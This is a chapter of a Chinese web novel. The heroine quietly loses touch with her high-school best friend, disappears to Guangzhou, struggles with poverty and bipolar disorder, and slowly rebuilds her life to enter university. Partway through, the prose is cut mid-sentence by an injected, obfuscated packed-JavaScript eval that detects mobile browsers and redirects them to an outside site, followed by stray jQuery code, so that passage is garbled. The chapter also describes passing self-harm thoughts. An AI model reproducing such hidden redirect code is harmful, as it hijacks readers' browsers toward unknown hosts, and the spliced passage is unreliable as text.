火车启动的刹那，时间仿佛被扯开一道裂缝，来帝都这五年的光景如同白驹过隙，在铁轨震动中簌簌剥落。
莫杳回想起初到帝都时的自己，连座位都没有，如今至少还能蜷缩坐在窗边的位置。
窗外的风景开始加速飞逝，莫杳额头贴在冰凉的玻璃上，无意识地在起雾的玻璃上画圈。天空飘起了雪花，迎来今年冬天的第一场雪。
车厢穿梭过一片白茫茫的山洞隧道，越往南边驶去，随着气温上升，雪越下越小。
从帝都到广城，几乎是从最北到最南，火车要坐一天一夜才能到。疲惫了一夜的莫杳，坐着昏昏沉沉地睡去，梦里光怪陆离般的闪过这些年无数碎片，睫毛颤动间，那张浸在梦境中的面容向现实渗透。
惊醒时，她竟恍惚看见当年15岁的束伽就坐在对面的幻觉。
她已经想他想到了这种地步。
……
抵达广城大学时，刚好赶上毕业典礼，穿着深蓝色学士服的毕业生们如同黑夜涨潮的海，将她的身影吞没在人群中。
莫杳一路问询，终于找到去往外国语学院的方向。
距离上一次跟梁诗诺见面，都已是两年前，那时莫杳工作出差顺路来过几回，都是匆匆聚了一餐便离去。梁诗诺也曾到过帝都一回，恰逢莫杳外出，连面都没见上。
所以她们在高中毕业后的五年间，见面次数屈指可数，其余全靠网络联系。
刚来帝都第一年，她们还像在高中那般每日聊天。
第二年，梁诗诺学业繁重，有了新的朋友圈子，而莫杳步入社会工作后忙碌。她们变成每月一通电话，一次性分享当月所有事情。有时候间隔太久，话题也少了许多。
第三年后，莫杳踏入娱乐圈工作，签下保密协议，许多事情不能再分享。梁诗诺也察觉到和莫杳的关系，从以前的无话不谈，似乎变成了有许多秘密。
梁诗诺小时候的家离莫杳家很近，后来她搬家了，她们也是上了高中成为同桌后才熟络起来。所以她还有其他更好的，认识更久的朋友，很正常。
但自小性格孤僻自卑的莫杳，朋友圈子极其简单。在海滨老家，除了因为感情反目成仇而绝交的程一诺和周怡然，莫杳便只剩梁诗诺一个朋友。
一开始，她们成为同桌的前三个月，梁诗诺就发现莫杳不怎么喜欢和别人说话，永远一副生人勿近的高冷样子，那一双厌世眼看得让人生畏。
随着时间越久，她发觉莫杳要不不说话，一说话便语出惊人，梁诗诺笑点低总被她逗笑。渐渐地，梁诗诺感受到莫杳身上有着一种不自知的冷幽默特质，有着一个深藏不露的有趣灵魂。
她们真正熟络的契机，是有一回莫杳突然请她去厕所帮忙扣内衣带。破冰过后，她们自然而然成了每日结伴去厕所的伙伴，一起上学放学，周末就约着一起出去玩。
毕业后梁诗诺才得知，那次是莫杳故意弄掉自己内衣带制造的借口，为了和她不那么尴尬的相处交朋友，
莫杳是一个慢热且防备心重的人，她也是经过一段时间的观察，认定梁诗诺单纯直率，才放宽心与她交心。
高中那段灰暗岁月，在梁诗诺成了她唯一的朋友后，才让灰色的生活里有了些许的色彩。
但人终究要长大，面临各奔东西，成年人的现实就是，从以前的“明天见”变成了“下次见”，而下次遥遥无期。有些朋友走着走着就散了，关系远着远着就淡了……
这回，莫杳来之前并没有告诉梁诗诺，也很担心自己的冒昧前来，场面会不会很尴尬，毕竟她们半年没联系了。
莫杳抱着一大束向日葵，站在外国语学院外的香樟树下踮起脚尖，眯着眼睛在拍毕业照的人群里寻找梁诗诺的身影。
终于，远远看见她被几个女生簇拥着自拍，她的父母也来了，身边还多了一个帮忙拿大包小包的男生。
梁诗诺身穿粉领黑袍学士服，帽子上的穗子随着灿烂的笑声晃动着，突然朝着莫杳的方向挥手。莫杳怔住，以为她那么快就认出了自己，刚想向前迈步，另外一个女生健步如飞从莫杳身边擦肩而过，与梁诗诺兴奋相拥。
这一刻，即便周遭人声鼎沸，莫杳耳边也听不见任何声。一群人的狂欢，更显得她跟这氛围更加格格不入，自己就像是多余的。
梁诗诺一直都是那个明媚的小太阳，就跟自己怀里的这束向日葵一样，她能交到很多好朋友是很正常的事。
这些年，莫杳经历很多负能量的事，很多次想开口跟她分享却欲言又止，害怕自己的负能量会影响到她，害怕她还要绞尽脑汁反过来想怎么安慰自己。
于是渐渐地，她们也有了隔阂和差距，明明没有吵架和矛盾，但有些关系不去维护，可能就冷了。
莫杳在原地静立良久，本想等她们交谈完再走过去，可梁诗诺中途又被其他人拉走，始终没有发现莫杳的身影。
算了，今天看来是没办法碰面聊上几句了。
友情是流动的，成长也给她上了一课：自己并不是任何人最好的朋友，她不配拥有任何关系。
跑腿小哥接过那束未送出的向日葵时，莫杳觉得自己的某部分也随之而去，她转身逆入人流，悄然离开。
待梁诗诺收到花束，看到卡片上“毕业快乐”的熟悉字迹，才惊觉莫杳来过。追出去的时候，已经看不到她的身影，电话那头只剩关机提示。
原来，告别是成年人必修的课题，而有些人的最后一面，连再见都来不及说出口，连告别都悄无声息。
……
那一天，莫杳注销了微信号和手机卡，包括所有社交媒体账号，换了新卡新号。
这次，她真的人间蒸发了……
迷茫中，她在一家青年旅舍暂住数日。在车水马龙的繁华街头，她迷失了方向，广城太大了，她根本不知道自己的未来会何去何从。
第三天，她经过药店时，才想起与段齐晞的那一夜发生得太突然，并没有做措施。
她在紧急药物的货架前踌躇，拿起又放下。这个药她再熟悉不过，因为在曾为了延迟经期的高考前夕，她吃过不少。
可真正需要时，莫杳竟然滋生出一个阴暗又疯狂的念头：若不吃药，万一意外怀孕，那就偷偷瞒着他生下来。这样至少在这冰冷世界上，她能多一个属于自己的亲人，多一份支撑自己活下去的念想与牵挂。
人在穷途末路的时候，总想抓住点什么。
最终，她真的没有买那盒药，只购了些安神助眠的药物。想想都快过了72小时，就算服药效果也不大。那就顺其自然，听天由命。
一个月后，生理期如期而至。所以命运的剧本，并没有发生突如其来的孩子，和“带球跑”这种狗血情节。
莫杳瞬间松了一口气，为当时那个阴暗的想法而感到后怕。
广城市区的房租实在贵得离谱，莫杳便在偏远的城中村握手楼里，租下一间便宜的单间。虽是旧房，却有翻新过的痕迹，进门一股浓重的甲醛味呛得莫杳不停咳嗽，估计这就是网上说的那种“串串房”。
可她还是住下了，只因这是看过那么多符合预算的房子里，唯一一间能看到一点点阳光的。毕竟阳光在这里都算是“奢侈品”，存款有限，只能将就苟且。
人间蒸发的日子里，莫杳选择独自咀嚼痛苦。这是她能想到的最好办法了，一个人痛苦，也好过牵连身边的人。
她的人生并没有因为重新开始而突然好起来，一直在起起伏伏中颠沛流离。
白天找工作，晚上就在屋里写小说，好不容易找到一份不需要学历的咖啡店兼职，工资不高，通勤也远，但至少能维持正常生活开销。
好景却不长，莫杳躯体化再次发作，在上班时打翻客人的咖啡，再次失业。实在扛不住去医院，又花去不少积蓄。
医生告知她的症状已从中度抑郁和焦虑症，转为双相情感障碍。
这个病名莫杳也是第一次听到，症状是在狂躁和抑郁两级间反复横跳。确诊需上报，严重会影响到就业。善良的主治医生却只在她的病例上写——“心境情感障碍”。
最严重时，莫杳感觉身体里有两个自己在撕扯：上一秒像打了鸡血一样亢奋，下一秒又像坠入地狱。
她被折磨得快要枯萎了。
过马路看到车都想往前被撞，削水果时想划伤自己，游泳时想沉入水底……
这些都是一瞬的疯狂念头，终究抵不过她身体埋藏的求救本能，总会想起曾许诺过一个人，会好好活下去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241780|178607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
这些症状她在帝都也发生过。只是当时不想让段齐晞担心，一次次在他面前强装无事，后来她连自己躯体化都控制不了时，才萌生了离开的想法。
不管多难，还得活下去。求生本能的驱使下，莫杳住进医院治疗半个月，又是一大笔开销。
住院期间，她结识不少病友。其实有这个病的患者，大部分时间看起来与常人无异，莫杳静静聆听他们形形色色的故事。
若问病因，却都答不上来，因为形成太过复杂，是很多情绪一起积压，长年累月导致的。
其中有位病友格外励志，一边住院还一边复习准备考研，翻动的书页间夹着抗抑郁症药的说明书。
病友察觉到莫杳的目光，苦笑勾起嘴角：“我考砸三回了，想再冲最后一次。”
“为什么是最后一次？”
“我没有时间了。”病友脸上虽然挂着笑意，可眼中神色却拼凑不出一个完整的她。
这里每个人都是破碎的，但还残存着些许求生意志力，才能聚集于此求救。
一阵风吹过书页，莫杳瞥见病友的名字——“章任晴”，字迹透着一股遒劲。
莫杳脱口而出问她：“一蓑烟雨任平生，也无风雨也无晴的‘晴’吗？”
章任晴眼底闪过惊喜，却被护士的喊声打断：“莫来娣，该吃药了！”
莫杳忽然明白过来，没想到她本名跟自己同姓，而且重男轻女的名字竟还存在于二十一世纪。
章任晴闷声苦笑：“等我出院就去改名。”
这段友谊短暂却明亮，章任晴比莫杳早一天出院，临走前留下改变莫杳一生的话。
“24岁算什么？我还比你大两岁呢，你还年轻，想回去读书就再去考。”
原来24岁，还是一切可以重来的年纪。
莫杳仿佛一瞬间被点醒，萌生了回去上大学的念头，想弥补从前高考失利的遗憾。就算没成功，起码也尝试过了。
上网查询后，她发现感兴趣的戏剧影视文学专业并无年龄限制，可以通过重新高考加艺考考取全日制本科，于是开始坚定复习备考计划。
由于多年没接触学习，莫杳刚重新捡起来确实有点困难，所幸艺术类的专业文化课分数要求不高。当年莫杳高考失利，只是未达普通文科生本科线，但若参加艺考分数是没问题的，只需重点准备艺考。
在担心学费问题而踟蹰不前时，她发现银行帐户莫名其妙多了十几万块，转账人竟是段齐晞。
这是他能连接到莫杳的最后方式，他不仅把那五万原封不动退回来，而且固定每个月转账，后面的金额越转越高。
当看到那串数字，莫杳泣不成声。他对她越好，她就越愧疚，强烈的自尊心让她根本不愿动段齐晞的钱。
尽管治疗费开销不少，她始终没动那笔钱。只备考同时以兼职维持生计，可打工的微薄收入终归是杯水车薪。
当时间被学习和写作填满，莫杳反倒没有时间去胡思乱想，病情也逐渐有了好转。
这一年，真的没有一件事是顺心的。
唯一的好消息是，她早年连载的网文好评如潮，出版了人生第一部实体书，拿到第一笔稿酬。
那些日复一日的坚持，终于结出果实。
或许是上天给孤勇者的嘉奖，又或许是看她已到了穷途末路的地步。熬过冬夜，莫杳终于迎来她的春日。
就在次年，她竟真的考上梦想中的大学和专业——广城传媒大学的戏剧影视文学专业。倒霉了二十几年没有考试运的她，此次的放手一搏刚好踩分数线过了。
幸好作品收入足够交学费，生活费只能靠打多几份零工了。
这段回忆，在莫杳日记自述里几乎一笔带过。
可那些被精神药物浸泡过的日日夜夜，键盘早已被泪水模糊的字体，密密麻麻的笔记，在城中村出租屋熬不完的夜……那些说不清道不明的苦涩，是怎么独自熬过的，只有她自己知道。
在广城度过的每一日，都像裹上薄雾般的抑郁蓝调。
唯一支撑她熬过一个又一个漫漫黑夜的，让她有勇气独自面对所有风雨的，是始终想着心里的那个人，看着他在大屏幕上，真的做到了越来越光芒万丈……